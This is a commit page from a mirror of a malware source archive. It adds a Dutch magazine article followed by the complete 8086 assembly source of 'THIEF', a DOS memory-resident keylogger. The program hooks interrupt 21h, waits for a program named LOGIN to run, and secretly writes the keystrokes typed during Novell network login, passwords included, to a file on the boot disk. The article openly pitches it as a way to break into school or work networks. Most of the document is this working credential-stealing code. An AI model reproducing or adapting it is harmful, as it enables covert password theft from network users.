mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,269 @@
|
||||
;redaktie van The Key, John D., Tx, Herman Acker, Peter Poelman, Paul en Rop.
|
||||
;Nadruk wordt door de redaktie toegestaan!
|
||||
;------------------------------------------------------------------------------
|
||||
;
|
||||
; Als je via een Local Area Network onder MS-DOS files wilt kunnen bewerken
|
||||
;kun je bijna niet om de Novell networksoftware heen. Of je nou op je werk of
|
||||
;op school met Novell werkt: je hebt altijd te weinig bevoegdheid op het
|
||||
;systeem. Hack-Tic helpt je door te dringen in het systeem met dit artikel van
|
||||
;een anonieme auteur.
|
||||
;
|
||||
; THIEF is een TSR (Terminate and Stay Resident; geheugen-resident) programma
|
||||
;voor de IBM-compatible, geschreven in 8086 machinetaal. Het probeert om
|
||||
;wachtwoorden voor het Novell PC Local Area Netwerk te stellen. De oorsprong
|
||||
;van THIEF ligt op een school met een bloeiende hack-cultuur: George Washington
|
||||
;High School in Denver, Colorado USA.
|
||||
; Deze school is meer dan goed voorzien van IBM micro's. Vijf lokalen van 30
|
||||
;computers hangen allemaal via een ethernet aan elkaar. Het netwerk draait
|
||||
;onder Novell. Vier van de vijf lokalen gebruiken boot-proms [geheugenchips op
|
||||
;de netwerk-interfacekaart. Zij zorgen ervoor dat er opgestart kan worden
|
||||
;zonder dat er een disk (of zelfs een drive(!) nodig is op de betreffende
|
||||
;machine.] voor het opstarten van de PC's. De vijfde ruimte bevat IBM PS/2
|
||||
;model 80's(!) met harddisks. De systeembeheerders en andere "power-users"
|
||||
;maken graag gebruik van deze machines. Deze machines "booten" vanaf hun eigen
|
||||
;hard-disks, zij gebruiken geen boot-proms.
|
||||
; Op een van deze computers werd THIEF voor het eerst gesignaleerd. THIEF
|
||||
;maakt namelijk gebruik van een zwakheid in de beveiliging tijdens de bootfase.
|
||||
;In de AUTOEXEC.BAT file werd een extra regel toegevoegd die een "verborgen"
|
||||
;programma op de bootschijf activeerde. Zodra er echter een programma met de
|
||||
;naam LOGIN wordt uitgevoerd komt THIEF tot leven en hij slaat alle
|
||||
;toetsaanslagen op in een (eveneens verborgen) file op de boot disk. De
|
||||
;onbevoegde kan later terugkomen en kijken wat zijn val gevangen heeft.
|
||||
; Voordat we het "metabolisme" van THIEF verder gaan ontleden eerst even de
|
||||
;zwakheden die deze hack mogelijk maken:
|
||||
; -Een boot-proces dat veranderd kan worden
|
||||
; -Fysieke toegang (door een onbevoegde) tot de computer
|
||||
; Beide zijn goed te verhelpen. Boot-proms en een slot op de deur en klaar is
|
||||
;Kees.
|
||||
; Terug naar het "metabolisme". Nogal verassend is dat het programma dezelfde
|
||||
;"hook" gebruikt als de Novell shell. Het grijpt de centrale toegang naar DOS:
|
||||
;interrupt 21h [ (hex) wordt door programma's gebruikt om een DOS functie aan te
|
||||
;roepen. De Novell-Netware shell onderschept deze stroom om zondig zelf op
|
||||
;bepaalde verzoeken te reageren. ]. Het onderschept alle aanroepen naar DOS.
|
||||
;Zodra een EXECute file call wordt gemaakt met de filename LOGIN worden alle
|
||||
;toetsaanslagen vastgelegd totdat het programma terugkeert naar DOS. Tijdens het
|
||||
;LOGIN process wordt het Novell wachtwoord ingetikt en dus is de hacker een
|
||||
;wachtwoord rijker. Het is allemaal nog iets te ingewikkeld: het programma had
|
||||
;ook gewoon op de speciale Novell inlog functieaanroep kunnen wachten.Maar ach,
|
||||
;zo werkt het ook.
|
||||
; Dit soort programma's zijn alles behalve nieuw. Ze zijn net zo oud als
|
||||
;wachtwoord-beveiliging. Bestudering van dit programma geeft meer inzicht in de
|
||||
;problematiek van LAN-beveiliging.
|
||||
; De toekomst zal zeker geheel nieuwe identificatietechnieken brengen. Net zo
|
||||
;zeker is dat zij begroet zullen worden door geduldige, enigszins doortrapte
|
||||
;genialiteit.
|
||||
;
|
||||
; Opmerking: THIEF werd door zijn maker ook wel eens GETIT genoemd. De maker
|
||||
;was gelukkig onvoorzichtig genoeg om de sourcecode te laten slingeren.
|
||||
;
|
||||
;
|
||||
; DE CODE VAN THIEF:
|
||||
;
|
||||
;
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg
|
||||
|
||||
org 100h
|
||||
public oi21,ac,ob,fn,fh,flag,ni21,jtov,oc,lethro,wpwtf,exist,create,
|
||||
public cntr,lits,begin
|
||||
|
||||
.RADIX 16
|
||||
start:
|
||||
push cs
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
mov ax,0fffeh
|
||||
CLI
|
||||
pop ss
|
||||
mov sp,ax
|
||||
STI
|
||||
jmp begin
|
||||
oi21 dd ?
|
||||
ac dw 0
|
||||
ob dw 80h dup (?)
|
||||
buff2 db 80h dup (?)
|
||||
fn db 'c:\testing.tmp',0,' '
|
||||
search1 db 'LOGIN'
|
||||
foundf db 0
|
||||
fh dw 0
|
||||
flag db 0
|
||||
cntr dw 0
|
||||
|
||||
ni21:
|
||||
assume cs:cseg,ds:nothing,es:nothing
|
||||
cmp ax,4b00h
|
||||
je exec
|
||||
cmp foundf,0ffh
|
||||
jne nc
|
||||
cmp ah,8
|
||||
je oc
|
||||
cmp ah,7
|
||||
je oc
|
||||
|
||||
nc:
|
||||
push ax
|
||||
mov al,cs:flag
|
||||
not al
|
||||
cmp al,0
|
||||
jne jtov
|
||||
mov ax,cntr
|
||||
inc ax
|
||||
mov cntr,ax
|
||||
cmp ax,31h
|
||||
jb jtov
|
||||
xor ax,ax
|
||||
mov cntr,ax
|
||||
mov flag,al
|
||||
pop ax
|
||||
pushf
|
||||
call dword ptr [oi21]
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
jmp short wpwtf
|
||||
|
||||
jtov:
|
||||
pop ax
|
||||
jmp dword ptr cs:[oi21]
|
||||
|
||||
exec: call scanfor
|
||||
jmp nc
|
||||
oc:
|
||||
|
||||
pushf
|
||||
call dword ptr cs:[oi21]
|
||||
assume ds:cseg
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov bx,ac
|
||||
mov [bx],al
|
||||
inc bx
|
||||
mov [ac],bx
|
||||
cmp al,0dh
|
||||
jne lethro
|
||||
mov byte ptr [bx],0ah
|
||||
not cs:[flag]
|
||||
lethro:
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
iret
|
||||
|
||||
scanfor:
|
||||
push ax
|
||||
push di
|
||||
push si
|
||||
push es
|
||||
push ds
|
||||
push cs
|
||||
push cs
|
||||
pop es
|
||||
mov si,dx
|
||||
mov di,offset buff2
|
||||
moveit:
|
||||
lodsb
|
||||
and al,0dfh
|
||||
stosb
|
||||
or al,al
|
||||
jnz moveit
|
||||
pop ds
|
||||
mov di,offset buff2
|
||||
look:
|
||||
push di
|
||||
mov si,offset search1
|
||||
mov cx,5
|
||||
repe cmpsb
|
||||
pop di
|
||||
or cx,cx
|
||||
jz foundit
|
||||
inc di
|
||||
cmp byte ptr [di+5],0
|
||||
je not_found
|
||||
jmp look
|
||||
not_found:
|
||||
xor ax,ax
|
||||
mov foundf,al
|
||||
jmp short endofsearch
|
||||
foundit:
|
||||
mov ax,0ffh
|
||||
mov foundf,al
|
||||
endofsearch:
|
||||
pop ds
|
||||
pop es
|
||||
pop si
|
||||
pop di
|
||||
pop ax
|
||||
ret
|
||||
|
||||
wpwtf:
|
||||
mov ax,3d02h
|
||||
mov dx,offset fn
|
||||
pushf
|
||||
call dword ptr [oi21]
|
||||
jnc exist
|
||||
cmp al,2
|
||||
je create
|
||||
jmp lethro
|
||||
create:
|
||||
mov ah,3ch
|
||||
mov dx,offset fn
|
||||
mov cx,02h+04h
|
||||
pushf
|
||||
call dword ptr [oi21]
|
||||
jnc exist
|
||||
jmp lethro
|
||||
exist:
|
||||
mov fh,ax
|
||||
mov bx,ax
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
pushf
|
||||
call dword ptr [oi21]
|
||||
mov cx,[ac]
|
||||
mov dx,offset ob
|
||||
sub cx,dx
|
||||
mov [ac],dx
|
||||
inc cx
|
||||
mov bx,fh
|
||||
mov ah,40h
|
||||
pushf
|
||||
call dword ptr [oi21]
|
||||
mov ah,3eh
|
||||
mov bx,fh
|
||||
pushf
|
||||
call dword ptr [oi21]
|
||||
jmp lethro
|
||||
|
||||
lits db 90h
|
||||
begin:
|
||||
mov ax,offset ob
|
||||
mov [ac],ax
|
||||
mov ax,3521h
|
||||
int 21h
|
||||
mov di,offset oi21
|
||||
mov [di],bx
|
||||
mov [di+2],es
|
||||
mov dx,offset ni21
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
mov dx,offset lits
|
||||
int 27h
|
||||
cseg ends
|
||||
end start
|
||||
|
||||
Reference in New Issue
Block a user